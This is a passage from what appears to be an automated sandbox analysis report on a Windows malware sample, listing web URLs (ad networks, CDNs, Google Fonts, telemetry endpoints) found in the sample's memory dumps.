00000008.00000003.493414527.00000000059D0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502724160.0000000006671000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496429817.00000000044F0000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingth
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345410283.0000000006079000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503035942.00000000065D1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.490157580.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446429265.0000000005980000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://amp.azure.net/libs/amp/1.8.0/azuremediaplayer.min.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498555676.0000000006569000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://api.taboola.com/1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66
Source: d.0.dr	String found in binary or memory: https://arc.msn.com/v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC54c8a2b02c3446f48a60b41e8a5ff47
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC5bdddb231cf54f958a5b6e76e9d8eee
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC828bc1cde9f04b788c98b5423157734
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.390846422.0000000006190000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.533340224.0000000006700000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC9b2d2bc73c8a4a1d8dd5c3d69b6634a
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc13122162a9a46c3b4cbf05ffccde0f
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.390846422.0000000006190000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.533340224.0000000006700000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc71c68d7b8f049b6a6f3b669bd5d00c
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.390846422.0000000006190000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.533340224.0000000006700000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCee0d4d5fd4424c8390d703b105f82c3
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCfd484f9188564713bbc5d13d862ebbf
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://assets.adobedtm.com/launch-EN7b3d710ac67a4a1195648458258f97dd.min.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://az416426.vo.msecnd.net/scripts/a/ai.0.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://az725175.vo.msecnd.net/scripts/jsll-4.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.290256424.0000000004268000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.443760045.0000000004480000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495268701.0000000005B18000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://contextual.media.net/
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345410283.0000000006079000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503035942.00000000065D1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.490157580.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446429265.0000000005980000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://contextual.media.net/48/nrrV18753.js
Source: d.0.dr	String found in binary or memory: https://contextual.media.net/803288796/fcmain.js?&gdpr=0&cid=8CU157172&cpcd=pC3JHgSCqY8UHihgrvGr0A%3
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335575472.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338218314.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498467638.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484048915.0000000005D60000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://contextual.media.net/__media__/js/util/nrrV9140.js
Source: d.0.dr	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294908943.0000000005118000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331793874.0000000004270000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335575472.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293538991.0000000004539000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280237180.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338218314.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345410283.0000000006079000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294585730.0000000005111000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503035942.00000000065D1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.494618814.0000000004598000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.490157580.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414899247.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498467638.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447515827.0000000004581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446429265.0000000005980000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294908943.0000000005118000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331793874.0000000004270000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335575472.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293538991.0000000004539000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280237180.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338218314.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345410283.0000000006079000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294585730.0000000005111000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503035942.00000000065D1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.494618814.0000000004598000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.490157580.0000000005A48000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414899247.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498467638.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447515827.0000000004581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446429265.0000000005980000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357253659.0000000004340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502019566.0000000005F18000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://cvision.media.net/new/286x175/2/75/95/36/612b163a-ff7b-498a-bad2-3c52bbd2c504.jpg?v=9
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357253659.0000000004340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502019566.0000000005F18000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://cvision.media.net/new/286x175/2/79/227/59/931bcbc9-c308-445b-ac87-70a69b051455.jpg?v=9
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://cvision.media.net/new/286x175/2/89/162/29/8ee7a9a3-dec9-4d15-94e1-5c73b17d2de1.jpg?v=9
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357253659.0000000004340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502019566.0000000005F18000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://cvision.media.net/new/300x194/2/100/237/97/93b3dc40-172c-479f-bf5a-5d49e8538bf9.jpg?v=9
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://cvision.media.net/new/300x300/2/100/237/97/93b3dc40-172c-479f-bf5a-5d49e8538bf9.jpg?v=9
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.389646070.0000000006058000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.532928709.00000000065B0000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://cvision.media.net/new/300x300/3/167/174/27/39ab3103-8560-4a55-bfc4-401f897cf6f2.jpg?v=9
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293479827.00000000044A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.358164856.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345318581.0000000005C31000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502891434.0000000006611000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495669681.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503482607.0000000006630000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: d.0.dr	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BBEB4CB72
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Google
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:300
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v16/4UaGrENHsxJlGDuGo1OIlI3K.woff
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v16/4UabrENHsxJlGDuGo1OIlLU94bt3.woff
